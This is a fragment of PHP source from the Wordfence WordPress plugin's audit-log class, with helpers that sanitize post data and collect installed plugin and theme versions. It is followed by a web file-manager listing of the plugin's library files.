			'uuid' => empty($item['uuid']) ? '<unknown>' : $item['uuid'],
			'app_id' => empty($item['app_id']) ? '<unknown>' : $item['app_id'],
			'name' => empty($item['name']) ? '<empty>' : $item['name'],
			'created' => empty($item['created']) ? 0 : $item['created'],
			'last_used' => empty($item['last_used']) ? null : $item['last_used'],
			'last_ip' => empty($item['last_ip']) ? null : $item['last_ip'],
		);
	}
	
	/**
	 * Returns the desired fields from a post record.
	 *
	 * @param array|object|WP_Post $post
	 * @return array
	 */
	protected function _sanitizePost($post) {
		if ($post instanceof stdClass) {
			$post = get_object_vars($post);
		}
		else if ($post instanceof WP_Post) {
			$post = $post->to_array();
		}
		
		$author = isset($post['post_author']) ? get_user_by('ID', $post['post_author']) : null;
		
		$created = null;
		if (isset($post['post_date_gmt']) && $post['post_date_gmt'] != '0000-00-00 00:00:00') { //Prefer *_gmt, but sometimes WP doesn't set that
			$created = strtotime($post['post_date_gmt']);
		}
		else if (isset($post['post_date'])) {
			$created = strtotime($post['post_date']);
		}
		
		$modified = null;
		if (isset($post['post_modified_gmt']) && $post['post_modified_gmt'] != '0000-00-00 00:00:00') { //Prefer *_gmt, but sometimes WP doesn't set that
			$modified = strtotime($post['post_modified_gmt']);
		}
		else if (isset($post['post_modified'])) {
			$modified = strtotime($post['post_modified']);
		}
		
		$sanitized = array(
			'post_id' => $post['ID'],
			'author_id' => isset($post['post_author']) ? $post['post_author'] : null,
			'author' => $author ? $this->_sanitizeUserdata($author) : null,
			'title' => isset($post['post_title']) ? $post['post_title'] : null,
			'created' => $created,
			'last_modified' => $modified,
			'type' => isset($post['post_type']) ? $post['post_type'] : 'post',
			'status' => isset($post['post_status']) ? $post['post_status'] : 'publish',
		);
		if (isset($post['post_type']) && $post['post_type'] == wfAuditLogObserversWordPressCoreContent::WP_POST_TYPE_ATTACHMENT) {
			$sanitized['context'] = get_post_meta($post['ID'], '_wp_attachment_context', true);
		}
		return $sanitized;
	}
	
	protected function _postDiff($post1, $post2) {
		if ($post1 instanceof stdClass) {
			$post1 = get_object_vars($post1);
		}
		else if ($post1 instanceof WP_Post) {
			$post1 = $post1->to_array();
		}
		
		if ($post2 instanceof stdClass) {
			$post2 = get_object_vars($post2);
		}
		else if ($post2 instanceof WP_Post) {
			$post2 = $post2->to_array();
		}
		
		return wfUtils::array_diff_assoc($post1, $post2);
	}
	
	/**
	 * Returns whether or not the array of post changes should trigger an event recording. It will return false when
	 * there are no changes or when the only changes are innocuous values like post dates.
	 * 
	 * @param $changes
	 * @return bool
	 */
	protected function _shouldRecordPostChanges($changes) {
		if (empty($changes) || !is_array($changes)) {
			return false;
		}
		
		$ignored = array('post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'menu_order');
		$test = array_filter($changes, function($i) use ($ignored) {
			return !in_array($i, $ignored);
		});
		return !empty($test);
	}
	
	protected function _extractMultisiteID($option, $suffix) {
		global $wpdb;
		if (!is_multisite()) {
			return false;
		}
		
		if (substr($option, -1 * strlen($suffix)) == $suffix) {
			$option = substr($option, 0, strlen($option) - strlen($suffix));
			if (substr($option, 0, strlen($wpdb->base_prefix)) == $wpdb->base_prefix) {
				$option = substr($option, strlen($wpdb->base_prefix));
				$option = trim($option, '_');
				if (empty($option)) {
					return 1;
				}
				
				return intval($option);
			}
		}
		
		return false;
	}
	
	/**
	 * Returns an array containing the installed versions at the time of calling for core and all themes/plugins.
	 * 
	 * @return array
	 */
	protected function _installedVersions() {
		$state = array();
		
		require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */
		$state['core'] = $wp_version;
		
		if (!function_exists('get_plugins')) {
			require_once(ABSPATH . '/wp-admin/includes/plugin.php');
		}
		
		$plugins = get_plugins();
		$state['plugins'] = array_filter(array_map(function($p) { return isset($p['Version']) ? $p['Version'] : null; }, $plugins), function($v) { return $v != null; });
		
		if (!function_exists('wp_get_themes')) {
			require_once(ABSPATH . '/wp-includes/theme.php');
		}
		
		$themes = wp_get_themes();
		$state['themes'] = array_filter(array_map(function($t) { return isset($t['Version']) ? $t['Version'] : null; }, $themes), function($v) { return $v != null; });
		
		return $state;
	}
	
	/**
	 * Attempts to resolve the given plugin path to the file containing its header. Returns that path if found, otherwise
	 * null. Most plugins will simply be .../slug/slug.php, but some are single-file plugins while others have a 
	 * non-standard PHP file containing the header.
	 * 
	 * Based on `get_plugins()`.
	 * 
	 * @param string $path
	 * @return string|null
	 */
	protected function _resolvePlugin($path) {
		if (is_dir($path)) {
			$scanner = @opendir($path);
			
			if ($scanner) {
				while (($subfile = readdir($scanner)) !== false) {
					if (preg_match('/^\./i', $subfile)) {
						continue;
					}
					else if (preg_match('/\.php$/i', $subfile)) {
						if (!is_readable($path . DIRECTORY_SEPARATOR . $subfile)) {
							continue;
						}
						
						$plugin_data = get_plugin_data($path . DIRECTORY_SEPARATOR . $subfile, false, false);
						if (!empty($plugin_data['Name'])) {
							return $path . DIRECTORY_SEPARATOR . $subfile;
						}
					}
				}
				
				closedir($scanner);
			}
		}
		else if (preg_match('/\.php$/i', $path) && is_readable($path)) {
			$plugin_data = get_plugin_data($path, false, false);
			if (!empty($plugin_data['Name'])) {
				return $path;
			}
		}
		
		return null;
	}
	
	/**
	 * Returns data for the plugin at $path if possible, otherwise null.
	 * 
	 * @param string $path
	 * @return array|null
	 */
	protected function _getPlugin($path) {
		$original = $this->_getState('upgrader_pre_install.versions', 0);
		$raw = get_plugin_data($path);
		if ($raw) {
			$data = array();
			foreach ($raw as $f => $v) {
				$k = strtolower(preg_replace('/\s+/', '_', $f)); //Translates all headers: Plugin Name -> plugin_name
				$data[$k] = $v;
			}
			
			$base = plugin_basename($path);
			if ($original && isset($original['plugins'][$base])) {
				$data['previous_version'] = $original['plugins'][$base];
			}
			
			return $data;
		}
		return null;
	}
	
	/**
	 * Returns data for the theme if possible, otherwise null.
	 * 
	 * @param WP_Theme|string $theme_or_path
	 * @return array|null
	 */
	protected function _getTheme($theme_or_path) {
		$original = $this->_getState('upgrader_pre_install.versions', 0);
		
		if ($theme_or_path instanceof WP_Theme) {
			$theme = $theme_or_path;
		}
		else {
			$theme = wp_get_theme(basename($theme_or_path), dirname($theme_or_path));
		}
		
		if ($theme) {
			$fields = array(
				'Name',
				'ThemeURI',
				'Description',
				'Author',
				'AuthorURI',
				'Version',
				'Template',
				'Status',
				'Tags',
				'TextDomain',
				'DomainPath',
				'RequiresWP',
				'RequiresPHP',
				'UpdateURI',
			);
			$data = array();
			foreach ($fields as $f) {
				$k = strtolower(preg_replace('/\s+/', '_', $f));
				$data[$k] = $theme->display($f);
			}
			
			$base = $theme->get_stylesheet();
			if ($original && isset($original['themes'][$base])) {
				$data['previous_version'] = $original['themes'][$base];
			}
			
			return $data;
		}
		return null;
	}
}

class wfAuditLogSendFailedException extends Exception { }

Filemanager

Name Type Size Permission Actions
Diff Folder 0555
audit-log Folder 0555
dashboard Folder 0555
rest-api Folder 0555
Diff.php File 21.63 KB 0555
GeoLite2-Country.mmdb File 7.46 MB 0644
IPTraf.php File 17.17 KB 0555
IPTrafList.php File 18.99 KB 0555
WFLSPHP52Compatability.php File 17.28 KB 0555
compat.php File 16.42 KB 0555
diffResult.php File 18.81 KB 0555
email_genericAlert.php File 17.39 KB 0555
email_newIssues.php File 24.83 KB 0555
email_unlockRequest.php File 18.35 KB 0555
email_unsubscribeRequest.php File 17.06 KB 0555
flags.php File 22.63 KB 0555
live_activity.php File 16.57 KB 0555
menu_dashboard.php File 44 KB 0555
menu_dashboard_options.php File 31.22 KB 0555
menu_firewall.php File 18.12 KB 0555
menu_firewall_blocking.php File 26.25 KB 0555
menu_firewall_blocking_options.php File 20.63 KB 0555
menu_firewall_waf.php File 35.97 KB 0555
menu_firewall_waf_options.php File 27.1 KB 0555
menu_install.php File 17.73 KB 0555
menu_options.php File 40.7 KB 0555
menu_scanner.php File 37.54 KB 0555
menu_scanner_credentials.php File 18.78 KB 0555
menu_scanner_options.php File 24.42 KB 0555
menu_support.php File 33.82 KB 0555
menu_tools.php File 17.5 KB 0555
menu_tools_auditlog.php File 32.44 KB 0555
menu_tools_diagnostic.php File 65.3 KB 0555
menu_tools_importExport.php File 17.28 KB 0555
menu_tools_livetraffic.php File 55.44 KB 0555
menu_tools_twoFactor.php File 35.6 KB 0555
menu_tools_whois.php File 20.62 KB 0555
menu_wordfence_central.php File 25.66 KB 0555
noc1.key File 1.64 KB 0644
sodium_compat_fast.php File 16.19 KB 0555
sysinfo.php File 17.47 KB 0555
viewFullActivityLog.php File 17.47 KB 0555
wf503.php File 25.63 KB 0555
wfAPI.php File 25.73 KB 0555
wfActivityReport.php File 36.46 KB 0555
wfAdminNoticeQueue.php File 21.2 KB 0555
wfAlerts.php File 23.38 KB 0555
wfArray.php File 17.78 KB 0555
wfAuditLog.php File 63.14 KB 0555
wfBrowscap.php File 19.91 KB 0555
wfBrowscapCache.php File 272.83 KB 0555
wfBulkCountries.php File 25.77 KB 0555
wfCache.php File 22.03 KB 0555
wfCentralAPI.php File 41.72 KB 0555
wfConfig.php File 139.05 KB 0555
wfCrawl.php File 22.57 KB 0555
wfCredentialsController.php File 21.17 KB 0555
wfCrypt.php File 20.05 KB 0555
wfCurlInterceptor.php File 17.03 KB 0555
wfDB.php File 27.49 KB 0555
wfDashboard.php File 24.21 KB 0555
wfDateLocalization.php File 368.13 KB 0555
wfDeactivationOption.php File 18.14 KB 0555
wfDiagnostic.php File 82.51 KB 0555
wfDict.php File 16.72 KB 0555
wfDirectoryIterator.php File 17.89 KB 0555
wfFileUtils.php File 18.72 KB 0555
wfHelperBin.php File 17.97 KB 0555
wfHelperString.php File 18.13 KB 0555
wfIPWhitelist.php File 17.56 KB 0555
wfImportExportController.php File 19.23 KB 0555
wfInaccessibleDirectoryException.php File 16.3 KB 0555
wfInvalidPathException.php File 16.26 KB 0555
wfIpLocation.php File 17.73 KB 0555
wfIpLocator.php File 18.75 KB 0555
wfIssues.php File 43.3 KB 0555
wfJWT.php File 21.33 KB 0555
wfLicense.php File 26.44 KB 0555
wfLockedOut.php File 25.73 KB 0555
wfLog.php File 73.06 KB 0555
wfMD5BloomFilter.php File 21.21 KB 0555
wfModuleController.php File 16.74 KB 0555
wfNotification.php File 22.41 KB 0555
wfOnboardingController.php File 25.23 KB 0555
wfPersistenceController.php File 16.8 KB 0555
wfRESTAPI.php File 377 B 0644
wfScan.php File 31.92 KB 0555
wfScanEngine.php File 149.13 KB 0555
wfScanEntrypoint.php File 17.05 KB 0555
wfScanFile.php File 17.02 KB 0555
wfScanFileLink.php File 16.4 KB 0555
wfScanFileListItem.php File 16.4 KB 0555
wfScanFileProperties.php File 17.07 KB 0555
wfScanMonitor.php File 20.06 KB 0555
wfScanPath.php File 17.78 KB 0555
wfSchema.php File 26.92 KB 0555
wfStyle.php File 17.22 KB 0555
wfSupportController.php File 40.18 KB 0555
wfUnlockMsg.php File 17.14 KB 0555
wfUpdateCheck.php File 43.24 KB 0555
wfUtils.php File 139.89 KB 0555
wfVersionCheckController.php File 35.27 KB 0555
wfVersionSupport.php File 16.53 KB 0555
wfView.php File 18.22 KB 0555
wfViewResult.php File 17.42 KB 0555
wfWebsite.php File 17.75 KB 0555
wordfenceClass.php File 451.84 KB 0555
wordfenceConstants.php File 19.15 KB 0555
wordfenceHash.php File 58.71 KB 0555
wordfenceScanner.php File 46.47 KB 0555
wordfenceURLHoover.php File 34.37 KB 0555